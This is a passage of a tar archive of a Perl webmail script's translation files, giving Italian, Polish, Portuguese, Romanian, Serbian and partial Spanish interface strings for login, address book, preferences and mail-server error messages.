$L{'Return'} = "OK";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Il Tuo Messaggio Non Puo' Essere Inviato ai Seguenti Indirizzi";

$L{'Click on the links (in blue) to send email to one person only.'} = "Clicca Sui Link in Blu Per Inviare Un Messaggio a Un Solo Indirizzo.";

# 3.14 additons

$L{'Replay'} = "Ripeti";

# 3.26 additions

$L{'Set Preferences'}="Impostazione Preferenze";
$L{'Preferences'}="Preferenze";
$L{'Your Name'}="Il Tuo Nome";
$L{'Your E-Mail Address'}="Il Tuo Indirizzo di Posta";
$L{'Your Signature'}="La Tua Firma";
$L{'Update Preferences'}="Aggiorna Le Preferenze";
$L{'REQUIRED'}="RICHIESTO";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="User Name";
$L{'Password'}="Password";
$L{'Log Into Your E-Mail Account!!'}="Accedi Alla Tua Casella Postale!!";
$L{'UGuide'}="Istruzioni (In Inglese)";
$L{'Bug Reports'}="Segnalazione Errori";

$L{'UPDATEALWAYS'}="Controlla la Posta e Cancella i Messaggi dal Server Ogni Volta Che la Casella e' Visualizzata (Ripristino Non Disponibile).";
$L{'UPDATELOGIN'}="Controlla la Posta e Cancella i Messaggi dal Server Solo all'Accesso (Ripristino Disponibile).";

$L{'Messages Deleted from Mail Server'}="Messaggi Cancellati dal Server di Posta";
$L{'New Messages'}="Nuovi Messaggi";


$L{'PREFINTRO1'}="I Messaggi Saranno Cancellati dal Server di Posta Alla Disconnessione.";
$L{'PREFINTRO2'}="Se ti Dimentichi di Disconnetterti, i Messaggi Saranno Cancellati la Prossima Volta Che ti Connetti.";
$L{'PREFINTRO3'}="I Messaggi Possono Essere RIPRISTINATI Con Il Pulsante \"Ripristina\" Nella Casella Postale.";
$L{'PREFINTRO4'}="La Verifica di Nuovi Messaggi Viene Effettuata Ogni Volta Che La Casella Postale e' Visualizzata.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Errore di Connessione al Server POP";
$L{'Unable to connect to POP server'} = "Impossibile Connettersi al Server POP";
$L{'SMTP (sendmail) Server Connect Error'} = "Errore di Connessione al Server SMTP (sendmail)";
$L{'Unable to connect to SMTP (sendmail) server'}="Impossibile Connettersi al Server SMTP (sendmail)";

# end 3.29 additions...

# start 3.40 additions

$L{'Save Address'}=             "Salva Indirizzo";
$L{'Download Attachment'}=      "Scarica Allegato";

# end  3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Messaggi in Entrata";
$L{'Saved Outgoing Messages'} =  "Messaggi in Uscita Salvati";
$L{'Save Outgoing Message'}   =  "Salva Messaggio in Uscita";

# end 3.41 additions

return %L;

}
1;
wm357/language.polish.cgi100644    312    144       13407  7245677670  14566 0ustar  webmailuserssub get_language {

#  First Translator:
#
#  Pozdrawiam- yar00
#  
#  -------------------------------------------------
#  Infoservice
#  Komputery, sieci, serwis, internet
#  http://www.infoserv.com.pl
#  mail@infoserv.com.pl
#  tel. 0-601-207769

# Current Translator:
# "MISERY" <misery76@polbox.com> 

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-2';

$L{'Back'}=			"Powrót";
$L{'Error: Login Expired'}=	"B³ad: zbyt d³ugi czas oczekiwania";
$L{'Un-Delete'}=		"Odzyskaj";
$L{'Mail Box : 0 E-Mails'}=	"W twojej skrzynce pocztowej : 0 listów";
$L{'Update Confirmation'}=	"PotwierdŸ uaktualnienie";
$L{'Log In'}=			"Zaloguj siê";
$L{'Log Out'}=			"Wyloguj siê";
$L{'Webmail Address Book'}=	"Ksi¹¿ka adresowa";
$L{'Add E-Mail Addresses'}=	"Dodaj adres";
$L{'Name'}=			"Imiê";
$L{'Address'}=			"Adres";
$L{'Addresses'}=		"Adresy";
$L{'Address Book'}=		"Ksi¹¿ka adresowa";
$L{'Open Address Book'}=	"Otwórz ksi¹¿kê adresow¹";
$L{'Edit Address Book'}=	"Edytuj ksi¹¿kê adresow¹";
$L{'Update Address Book'}=	"Uaktualnij ksi¹¿kê adresow¹";
$L{'Cancel'}=			"Zrezygnuj";
$L{'Web Based E-Mail'}=		"E-mail przez WWW";
$L{'Date'}=			"Data";
$L{'Size'}=			"Rozmiar";


$L{'To'}=			"Do";
$L{'From'}=			"Od";
$L{'Subject'}=			"Temat";
$L{'Cc'}=			"Kopia do";
$L{'Bcc'}=			"Œlepa kopia do";


$L{'Attached'}=			"Za³¹cznik";
$L{'Send E-Mail'}=		"Wyœlij e-mail";
$L{'Clear Message Box Only'}=	"Wykasuj treϾ";
$L{'Attach Files To Your Message (Optional)'}="Dodaj za³¹cznik (Optional)";
$L{'Clear Message Box Only'}=	"Wykasuj treϾ";
$L{'Webmail Address Book'}=	"Ksi¹¿ka adresowa";
$L{'Edit Existing E-Mail Addresses'}="Edytuj istniej¹cy adres";
$L{'Error: Login Failed'}=	"B³¹d: Logowanie nieudane";
$L{'loginerrmsg'}=		"Logowanie nieudane- z³a nazwa u¿ytkownika lub has³o. Spróbuj ponownie";
$L{'logintimeout'}=		" minut up³ynê³o od Twojego logowania. Zaloguj siê ponownie...";
$L{'Select All Messages'}=	"Zaznacz wszystkie wiadomoœci";

$L{'Delete Selected Messages From Mail Server'}="Usuñ zaznaczone wiadomoœci z serwera pocztowego";

$L{'logoutconftitle'}=		"PotwierdŸ wylogowanie";
$L{'logoutconfmsg1'}=		"Wylogowanie zakoñczone.";
$L{'logoutconfmsg2'}=		"Mo¿esz zamkn¹æ przegl¹darkê.";
$L{'Confirmation Message'}="Informacja";

$L{'Your Message Has Been SENT to the Following Recipients'}="Twoja wiadomoœæ zosta³a wys³ana do nastêpuj¹cych adresatów";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Twoja wiadomoœæ NIE zosta³a wys³ana do nastêpuj¹cych adresatów";

$L{'Original Message'}="Oryginalna wiadomoϾ";
$L{'Return to Original Message'}="Powrót do oryginalnej wiadomoœci";
$L{'Address To Selected Users'}= "Address to Selected Users";

$L{'address_note'}="<b>Uwaga: </b>Jeœli masz ksi¹¿kê adresow¹ z du¿¹ iloœci¹ wpisów, organizowanie adresatów ,kopii i œlepych kopii mo¿e trochê potrwaæ";

$L{'Reply'}=			"Odpowiedz";
$L{'Reply All'}=		"Odpowiedz wszystkim";
$L{'Forward'}=			"Przeœlij dalej";
$L{'Previous'}=			"Poprzedni";
$L{'Delete'}=			"Usuñ";
$L{'Next'}=			"Nastêpny";
$L{'Webmail Error Message'}=	"Webmail Error Message";
$L{'Back to Previous Page'}=	"Powrót do poprzedniej strony";
$L{'Compose'}=			"Wpisz wiadomoϾ";
$L{'Compose E-Mail'}=		"Wpisz wiadomoϾ";
$L{'Mail Box'}=			"Skrytka pocztowa";
$L{'Next Message'}=		"Nastêpna wiadomoœæ";
$L{'adupconf'}=			"Ksi¹¿ka adresowa zosta³a uaktualniona! <br>Nowa wygl¹da natsêpuj¹co.";
$L{'Return'} = "Powrót";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Twoja wiadomoœæ NIE zosta³a wys³ana do nastêpuj¹cych odbiorców"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Kliknij na odsy³acz (niebieski) aby wys³aæ wiadomoœæ tylko do jednej osoby.";

# 3.14 additons

$L{'Replay'} = "Odpwiedz";

# 3.26 additions

$L{'Set Preferences'}="Zmieñ ustawienia";
$L{'Preferences'}="Ustawienia";
$L{'Your Name'}="Imiê";
$L{'Your E-Mail Address'}="Adres e-mail";
$L{'Your Signature'}="Podpis";
$L{'Update Preferences'}="Zapisz ustawienia";
$L{'REQUIRED'}="Wymagane";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="U¿ytkownik";
$L{'Password'}="Has³o";
$L{'Log Into Your E-Mail Account!!'}="Zaloguj siê!!";
$L{'UGuide'}="Przewodnik (po angielsku- jeszcze)";
$L{'Bug Reports'}="Raportuj b³êdy";

$L{'UPDATEALWAYS'}="SprawdŸ listy i usuñ wiadomoœci z serwera tylko przy logowaniu (Un-Delete nieosi¹galne).";
$L{'UPDATELOGIN'}="SprawdŸ listy i usuñ wiadomoœci z serwera tylko przy logowaniu (Un-Delete nieosi¹galne).";

$L{'Messages Deleted from Mail Server'}="Wiadomoœci zosta³y usuniête z serwera pocztowego.";
$L{'New Messages'}="Nowa wiadomoϾ";


$L{'PREFINTRO1'}="Wiadomoœci zostan¹ usuniête z serwera przy wylogowaniu.";
$L{'PREFINTRO2'}="Jeœli zapomnisz siê wylogowaæ, wiadomoœci zostan¹ usuniete przy nastêpnym logowaniu.";
$L{'PREFINTRO3'}="Wiadomoœci mog¹ zostaæ odzyskane ze skrzynki pocztowej - klawisz \"Odzyskaj\" .";
$L{'PREFINTRO4'}="Serwer pocztowy sprawdza, czy s¹ nowe wiadomoœci za ka¿dym raze, gdy Twoja skrzynka pocztowa jest wyœwietlana.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=		"pobierz za³±cznik";
$L{'Download Attachment'}=	"zapisz adres email";

# end 3.40 additions

# begin 3.41 additions


$L{'Incoming Messages'}       =  "Wiadomosci przychodzace";
$L{'Saved Outgoing Messages'} =  "Zapisane wiadomosci do wyslania";
$L{'Save Outgoing Message'}   =  "Zapisz wiadomosc do wyslania";

# end 3.41 additions

return %L;

}
1;
wm357/language.portuguese.cgi100644    312    144       13102  7245677670  15462 0ustar  webmailuserssub get_language {

# Translator: jmoura@rsol.com.br

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Voltar";
$L{'Error: Login Expired'}=	"Erro: Login Expirou";
$L{'Un-Delete'}=		"Un-Delete";
$L{'Mail Box : 0 E-Mails'}=	"Caixa de Entrada : 0 E-Mails";
$L{'Update Confirmation'}=	"Confirma Atualização";
$L{'Log In'}=			"Entrar";
$L{'Log Out'}=			"Sair";
$L{'Webmail Address Book'}=	"Livro de Endereços do Webmail";
$L{'Add E-Mail Addresses'}=	"Adicionar Endereço";
$L{'Name'}=			"Nome";
$L{'Address'}=			"Endereço";
$L{'Addresses'}=		"Endereços";
$L{'Address Book'}=		"Livro de Endereços";
$L{'Open Address Book'}=	"Abrir Livro de Endereços";
$L{'Edit Address Book'}=	"Editar Livro de Endereços";
$L{'Update Address Book'}=	"Atualizar Livro de Endereços";
$L{'Cancel'}=			"Cancelar";
$L{'Web Based E-Mail'}=		"E-Mail pela Web";
$L{'Date'}=			"Data";
$L{'Size'}=			"Tamanho";


$L{'To'}=			"Para";
$L{'From'}=			"De";
$L{'Subject'}=			"Assunto";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Anexo";
$L{'Send E-Mail'}=		"Enviar E-Mail";
$L{'Clear Message Box Only'}=	"Limpar Campo da Mensagem";
$L{'Attach Files To Your Message (Optional)'}="Anexar Arquivos (Opcional)";
$L{'Clear Message Box Only'}=	"Limpar Campo da Mensagem";
$L{'Webmail Address Book'}=	"Livro de Endereços do Webmail";
$L{'Edit Existing E-Mail Addresses'}="Editar Endereço de E-Mail Existente";
$L{'Error: Login Failed'}=	"Erro: Login Incorreto";
$L{'loginerrmsg'}=		"Login Incorreto: Nome ou Senha Incorreta. Por Favor Tente Novamente ...";
$L{'logintimeout'}=		" minutos se passaram desde seu último login.  Por Favor Tente Novamente ...";
$L{'Select All Messages'}=	"Selecionar Todas Mensagens";

$L{'Delete Selected Messages From Mail Server'}="Excluir as Mensagens Selecionadas";

$L{'logoutconftitle'}=		"Confirmação de Saída";
$L{'logoutconfmsg1'}=		"Você Saiu do WebMail!";
$L{'logoutconfmsg2'}=		"Seu Navegador Já Pode Ser Fechado.";
$L{'Confirmation Message'}="Confirmação de Mensagem";

$L{'Your Message Has Been SENT to the Following Recipients'}="Sua Mensagem Foi ENVIADA para os Seguintes Endereços";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Sua Mensagem NÃO PODE Ser ENVIADA para os Seguintes Endereços";

$L{'Original Message'}="Mensagem Original";
$L{'Return to Original Message'}="Retornar para a Mensagem Original";
$L{'Address To Selected Users'}= "Enviar para os Usuários Selecionados";

$L{'address_note'}="<b>Nota: </b>E-Mail para vários destinatários, Selecione os campos propriados:  To:, Cc: e Bcc:";

$L{'Reply'}=			"Responder";
$L{'Reply All'}=		"Responder Todos";
$L{'Forward'}=			"Encaminhar";
$L{'Previous'}=			"Anterior";
$L{'Delete'}=			"Excluir";
$L{'Next'}=			"Próximo";
$L{'Webmail Error Message'}=	"Webmail Mensagem de Erro";
$L{'Back to Previous Page'}=	"Voltar para a Página Anterior";
$L{'Compose'}=			"Redigir Mensagem";
$L{'Compose E-Mail'}=		"Redigir E-Mail";
$L{'Mail Box'}=			"Caixa de Entrada";
$L{'Next Message'}=		"Próxima Messagem";
$L{'adupconf'}=			"Seu Livro de Endereços foi Atualizado com Sucesso!<br>Novo Livro de Endereços Exibido Abaixo.";
$L{'Return'} = "Return";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Sua Mensagem NÃO PODE Ser ENVIADA para os Seguintes Endereços"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Click nos links (em azul) para enviar somente a uma pessoa.";

# 3.14 additons

$L{'Replay'} = "Responder";

# 3.26 additions

$L{'Set Preferences'}="Ajustar Preferências";
$L{'Preferences'}="Preferências";
$L{'Your Name'}="Seu Nome";
$L{'Your E-Mail Address'}="Seu Endereço de E-Mail";
$L{'Your Signature'}="Sua Assinatura";
$L{'Update Preferences'}="Atualizar Preferências";
$L{'REQUIRED'}="INDISPENSÁVEL";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Nome";
$L{'Password'}="Senha";
$L{'Log Into Your E-Mail Account!!'}="Entrada da Sua Conta de E-mail!!";
$L{'UGuide'}="Guia do Usuário (English)";
$L{'Bug Reports'}="Relatório de Bugs";

$L{'UPDATEALWAYS'}="Verifique seus E-Mails e Delete as Mensagens cada vez que sua Caixa de E-mail for exibida (A opção Un-Delete NãO está Disponível).";
$L{'UPDATELOGIN'}="Verifique seus E-Mails e Delete as Mensagens somente na Entrada (A opção Un-Delete está Disponível).";

$L{'Messages Deleted from Mail Server'}="Mensagens Excluidas do Servidor";
$L{'New Messages'}="Novas Mensagens";


$L{'PREFINTRO1'}="As mensagens serão Excluidas do Servidor quando você clicar em SAIR.";
$L{'PREFINTRO2'}="Se você esquecer de clicar em SAIR, as mensagens serão excluidas na Próxima vêz que você ENTRAR no WebMail.";
$L{'PREFINTRO3'}="As Novas Mensagens são exibidas cada vêz que a Caixa de Caixa de Entrada for Acessada.";
$L{'PREFINTRO4'}="Esta configuração poderá ser alterada posteriormente.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Erro de Conexão o Servidor POP";
$L{'Unable to connect to POP server'} = "Não foi possível conectar com Servidor POP";
$L{'SMTP (sendmail) Server Connect Error'} = "Erro de Conexão o Servidor SMTP";
$L{'Unable to connect to SMTP (sendmail) server'}="Não foi possível conectar com Servidor SMTP";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Salvar Endereço";
$L{'Download Attachment'}=      "Salvar Anexo";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Caixa de Entrada";
$L{'Saved Outgoing Messages'} =  "Mesagens Salvas";
$L{'Save Outgoing Message'}   =  "Salvar Mensagem";

# end 3.41 additions

return %L;

}
1;
wm357/language.romanian.cgi100644    312    144       13363  7245677670  15075 0ustar  webmailuserssub get_language {

# translator : "Ionel Moisuc" <imoisuc@hotmail.com> 
# possible backup translator: "Victor Prisacariu Adrian" <viprad@mail.dntis.ro>

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-2';

$L{'Back'}=			"Inapoi";
$L{'Error: Login Expired'}=	"Eroare: Conexiune Expirata";
$L{'Un-Delete'}=		"Refacere";
$L{'Mail Box : 0 E-Mails'}=	"Cont Mesaje : 0 Mesaje";
$L{'Update Confirmation'}=	"Confirmare Modificari";
$L{'Log In'}=			"Intrare";
$L{'Log Out'}=			"Iesire";
$L{'Webmail Address Book'}=	"Agenda Adrese Webmail";
$L{'Add E-Mail Addresses'}=	"Adauga Adrese E-Mail";
$L{'Name'}=			"Nume";
$L{'Address'}=			"Adresa";
$L{'Addresses'}=		"Adrese";
$L{'Address Book'}=		"Agenda Adrese";
$L{'Open Address Book'}=	"Deschide Agenda Adrese";
$L{'Edit Address Book'}=	"Editeaza Agenda Adrese";
$L{'Update Address Book'}=	"Salveaza Agenda Adrese";
$L{'Cancel'}=			"Renunta";
$L{'Web Based E-Mail'}=		"Interfata Web pentru E-Mail";
$L{'Date'}=			"Data";
$L{'Size'}=			"Marime";


$L{'To'}=			"Pentru";
$L{'From'}=			"De La";
$L{'Subject'}=			"Subiect";
$L{'Cc'}=			"Cat si pentru";
$L{'Bcc'}=			"NU insa pentru";


$L{'Attached'}=			"Atasamente";
$L{'Send E-Mail'}=		"Trimite E-Mail";
$L{'Clear Message Box Only'}=	"Sterge doar textul mesajului";
$L{'Attach Files To Your Message (Optional)'}="Ataseaza fisiere la mesaj 
(Optional)";
$L{'Clear Message Box Only'}=	"Sterge doar textul mesajului";
$L{'Webmail Address Book'}=	"Agenda Adrese Webmail";
$L{'Edit Existing E-Mail Addresses'}="Editeaza Adresele E-Mail Existente";
$L{'Error: Login Failed'}=	"Eroare: Intrare Nereusita";
$L{'loginerrmsg'}=		"Intrare Nereusita: Numele sau Parola a fost incorect 
introdus. Incearca din nou...";
$L{'logintimeout'}=		" minute au trecul de la ultima intrare. Te rog intra 
din nou...";
$L{'Select All Messages'}=	"Selecteaza Toate Mesajele";

$L{'Delete Selected Messages From Mail Server'}="Sterge Mesajele Selectate 
de pe Serverul de Mesaje";

$L{'logoutconftitle'}=		"Confirmare Iesire";
$L{'logoutconfmsg1'}=		"Iesire cu Succes.";
$L{'logoutconfmsg2'}=		"Inchide Browser-ul Web.";
$L{'Confirmation Message'}="Mesaj de Confirmare";

$L{'Your Message Has Been SENT to the Following Recipients'}="Mesajul A FOST 
trimis la";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Mesajul NU 
a putut fi transmis la";

$L{'Original Message'}="Mesajul Original";
$L{'Return to Original Message'}="Inapoi la Mesajul Original";
$L{'Address To Selected Users'}= "Trimite la Adresele Selectate";

$L{'address_note'}="<b>Nota: </b>Agendele de Adrese cu multe intrari 
necesita cateva secunde pentru salvarea elementelor Pentru:, Cat si pentru: 
si NU insa pentru: .";

$L{'Reply'}=			"Raspunde";
$L{'Reply All'}=		"Raspunde Tuturor";
$L{'Forward'}=			"Trimite Catre";
$L{'Previous'}=			"Anterior";
$L{'Delete'}=			"Sterge";
$L{'Next'}=			"Urmator";
$L{'Webmail Error Message'}=	"Mesaj Eroare Webmail";
$L{'Back to Previous Page'}=	"Inapoi la Pagina Anterioara";
$L{'Compose'}=			"Compunere";
$L{'Compose E-Mail'}=		"Compunere E-Mail";
$L{'Mail Box'}=			"Lista Mesaje Primite";
$L{'Next Message'}=		"Mesajul Urmator";
$L{'adupconf'}=			"Agenda de Adrese a fost modificata cu succes!<br>Adresele 
noi sunt afisate mai jos.";
$L{'Return'} = "Inapoi";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Mesajul 
NU a putut fi transmis catre";

$L{'Click on the links (in blue) to send email to one person only.'} = 
"Apasa pe trimireri (in albastru) pentru a transmite mesaj doar la o singura 
adresa.";

# 3.14 additons

$L{'Replay'} = "Raspunde";

# 3.26 additions

$L{'Set Preferences'}="Introducere Preferinte";
$L{'Preferences'}="Preferinte";
$L{'Your Name'}="Numele";
$L{'Your E-Mail Address'}="Adresa E-Mail";
$L{'Your Signature'}="Semnatura Mesaj";
$L{'Update Preferences'}="Salvare Preferinte";
$L{'REQUIRED'}="NECESAR";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Nume";
$L{'Password'}="Parola";
$L{'Log Into Your E-Mail Account!!'}="Intrare in Contul E-Mail !!";
$L{'UGuide'}="Ghid de utilizare (in Engleza)";
$L{'Bug Reports'}="Raportare Erori";

$L{'UPDATEALWAYS'}="Verifica E-Mail si sterge mesajele de pe serverul de 
mesaje la fiecare afisare a listei de mesaje primite (Optiunea de Refacere 
NU este disponibila).";
$L{'UPDATELOGIN'}="Verifica E-Mail si sterge mesajele de pe serverul de 
mesaje numai la INTRARE (Optiunea de Refacere este disponibila).";

$L{'Messages Deleted from Mail Server'}="Mesaje Sterse de pe Serverul de 
Mesaje";
$L{'New Messages'}="Mesaje Noi";


$L{'PREFINTRO1'}="Mesajele sunt sterse de pe Serverul de Mesaje la IESIRE.";
$L{'PREFINTRO2'}="Daca uiti sa apesi pe butonul IESIRE, mesajele vor fi 
sterse la viitoarea INTRARE.";
$L{'PREFINTRO3'}="Mesajele pot fi READUSE in lista de mesaje primite prin 
apasarea butonului \"Refacere\".";
$L{'PREFINTRO4'}="Serverul de Mesaje este interogat despre primirea de 
Mesaje NOI la fiecare afisare a listei de mesaje primite.";

# 3.29 additions

$L{'POP Server Connect Error'} = "Eroare de conectare la Serverul POP";
$L{'Unable to connect to POP server'} = "Conectare Imposibila la Serverul 
POP";
$L{'SMTP (sendmail) Server Connect Error'} = "Eroare de conectare la 
Serverul SMTP";
$L{'Unable to connect to SMTP (sendmail) server'}="Conectare Imposibila la 
Serverul SMTP";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Salveaza Adresa";
$L{'Download Attachment'}=      "Descarca Fisierul Atasat";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Mesaje Primite";
$L{'Saved Outgoing Messages'} =  "Mesaje Trimise si Salvate";
$L{'Save Outgoing Message'}   =  "Salveaza Mesajul Trimis";
  

# end 3.41 additions

return %L;

}
1;

wm357/language.serbian.cgi100644    312    144       12517  7245677670  14714 0ustar  webmailuserssub get_language {

#
# "Srecko Jovancevic" <xxx-x@amadeus.uni-bk.ac.yu> 
#

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-5';

$L{'Back'}=			"Nazad";
$L{'Error: Login Expired'}=	"Greska: Isteklo je vreme za Logovanje";
$L{'Un-Delete'}=		"Vrati Obrisano";
$L{'Mail Box : 0 E-Mails'}=	"Postansko Sanduce : 0 Poruka";
$L{'Update Confirmation'}=	"Azuriraj ";
$L{'Log In'}=			"Uloguj se";
$L{'Log Out'}=			"Izloguj Se";
$L{'Webmail Address Book'}=	"Webmail Adresar";
$L{'Add E-Mail Addresses'}=	"Dodaj E-Mail Adrese";
$L{'Name'}=			"Ime";
$L{'Address'}=			"Adresa";
$L{'Addresses'}=		"Adrese";
$L{'Address Book'}=		"Adresar";
$L{'Open Address Book'}=	"Otvori Adresar";
$L{'Edit Address Book'}=	"Edituj Adresar";
$L{'Update Address Book'}=	"Azuriraj Adresar";
$L{'Cancel'}=			"Otkazi";
$L{'Web Based E-Mail'}=		"Web Mail";
$L{'Date'}=			"Datum";
$L{'Size'}=			"Velicina";


$L{'To'}=			"Kome";
$L{'From'}=			"Od ";
$L{'Subject'}=			"Naziv";
$L{'Cc'}=			"Kopija";
$L{'Bcc'}=			"Blanko Kopija";


$L{'Attached'}=			"Prikaceno";
$L{'Send E-Mail'}=		"Posalji E-Mail";
$L{'Clear Message Box Only'}=	"Ocisti samo Postansko Sanduce ";
$L{'Attach Files To Your Message (Optional)'}="Prikaci fajl uz poruku (Opcija)";
$L{'Clear Message Box Only'}=	"Ocisti samo Postansko Sanduce";
$L{'Webmail Address Book'}=	"Web Adresar";
$L{'Edit Existing E-Mail Addresses'}="Edituj postojece E-Mail adrese";
$L{'Error: Login Failed'}=	"Greska: Logovanje nije uspelo";
$L{'loginerrmsg'}=		"Logovanje nije uspelo:Pogresan nalog i sifra....... ";
$L{'logintimeout'}=		" minuta je isteklo od vaseg poslednjeg logovanja molimo vas da pokusate ponovo...";
$L{'Select All Messages'}=	"Selektuj sve poruke";

$L{'Delete Selected Messages From Mail Server'}="Obrisi sve selektovane poruke sa mail servera";

$L{'logoutconftitle'}=		"Potvrdite izlazak sa sa servera";
$L{'logoutconfmsg1'}=		"Uspesno ste se izlogovali.";
$L{'logoutconfmsg2'}=		"Molimo vas da iskljucite vas Browser.";
$L{'Confirmation Message'}="Konfirmaciona poruka";

$L{'Your Message Has Been SENT to the Following Recipients'}="Vasa poruka JE poslata na ovu adresu";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Vasa poruka NIJE poslata na zeljenu adresu";

$L{'Original Message'}="Originalna Poruka";
$L{'Return to Original Message'}="Vrati se na originalnu poruku";
$L{'Address To Selected Users'}= "Adresiraj na selektovanu adresu";

$L{'address_note'}="<b>Note: </b>Adresaru sa previse adresa treba malo vise vremena da se ucita Kome:, Kopija: and Blanko Kopija: fields.";

$L{'Reply'}=			"Odgovori";
$L{'Reply All'}=		"Odgovori Svima";
$L{'Forward'}=			"Prosledi";
$L{'Previous'}=			"Prethodno";
$L{'Delete'}=			"Brisi";
$L{'Next'}=			"Sledeci";
$L{'Webmail Error Message'}=	"Greska ";
$L{'Back to Previous Page'}=	"Vrati se na prethodnu stranu";
$L{'Compose'}=			"Sacini";
$L{'Compose E-Mail'}=		"Sacini Poruku";
$L{'Mail Box'}=			"Postansko Sanduce";
$L{'Next Message'}=		"Sledeca poruka";
$L{'adupconf'}=			"Vas Adresar je uspesno azuriran!<br>New address book displayed below.";
$L{'Return'} = "Return";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Vas poruka NIJE mogla da se posalje imenovanim"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Kliknite na plavi link da bi ste poslali poruku pojedincima.";

# 3.14 additons

$L{'Replay'} = "Odgovori";

# 3.26 additions

$L{'Set Preferences'}="Popunite detalje";
$L{'Preferences'}="Detalje";
$L{'Your Name'}="Vase Ime";
$L{'Your E-Mail Address'}="Vas E-mail";
$L{'Your Signature'}="Vas Potpis";
$L{'Update Preferences'}="Azuriraj Detalje";
$L{'REQUIRED'}="OBAVEZNO";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Nalog";
$L{'Password'}="Sifra";
$L{'Log Into Your E-Mail Account!!'}="Uloguj te se na vas E-Mail !!";
$L{'UGuide'}="Korisnicki vodic (Engleski)";
$L{'Bug Reports'}="Bagovi";

$L{'UPDATEALWAYS'}=" (Un-Delete opcija nije moguca).";
$L{'UPDATELOGIN'}="Proveri postu i izbrisi je svaki put kad gledas postansko sanduce Kada se Logujes (Un-Delete opcija je moguca).";

$L{'Messages Deleted from Mail Server'}="Poruka je izbrisano sa Servera";
$L{'New Messages'}="Novih poruka";


$L{'PREFINTRO1'}="Poruke su izbrisane pri izlazenju sa servera.";
$L{'PREFINTRO2'}="Ako ste zaboravili da se izlogujete poruke ce biti izbrisane sledeci put kada se budete logovali .";
$L{'PREFINTRO3'}="Poruke se mogu UN-DELETOVATI Putem Postansko Sanduce \"Un-Delete\" Dugmeta.";
$L{'PREFINTRO4'}="Oblik Vaseg mejla je vase ime pa monkey pa ime servera naravno  sve malim slovima.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Sacuvaj Adresu";      
$L{'Download Attachment'}=      "Skini Attachment";

# end 3.40 additions


# begin 3.41 additions

$L{'Incoming Messages'}       =  "Dolazeca Poruka";
$L{'Saved Outgoing Messages'} =  "Sacuvane Poruke";
$L{'Save Outgoing Message'}   =  "Sacuvaj Odlazece Poruke";

# end 3.41 additions

return %L;

}
1;
wm357/language.spanish.cgi100644    312    144       13602  7245677670  14732 0ustar  webmailuserssub get_language {

# Translator: erojas@skytel.com.co

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Atrás";
$L{'Error: Login Expired'}=	"Error: Expiró Conexión ";
$L{'Un-Delete'}=		"Des-Borrar";
$L{'Mail Box : 0 E-Mails'}=	"Bandeja de Entrada : 0 Correos";
$L{'Update Confirmation'}=	"Actualizar Confirmación";
$L{'Log In'}=			"Entrar";
$L{'Log Out'}=			"Salir";
$L{'Webmail Address Book'}=	"Libreta de Direcciones Webmail";
$L{'Add E-Mail Addresses'}=	"Adicionar Direcciones de Correo";
$L{'Name'}=			"Nombre";
$L{'Address'}=			"Dirección";
$L{'Addresses'}=		"Direcciones";
$L{'Address Book'}=		"Libreta de Direcciones";
$L{'Open Address Book'}=	"Abrir Libreta de Direcciones";
$L{'Edit Address Book'}=	"Editar Libreta de Direcciones";
$L{'Update Address Book'}=	"Actualizar Libreta de Direcciones";
$L{'Cancel'}=			"Cancelar";
$L{'Web Based E-Mail'}=		"E-Mail basado en WEB";
$L{'Date'}=			"Fecha";
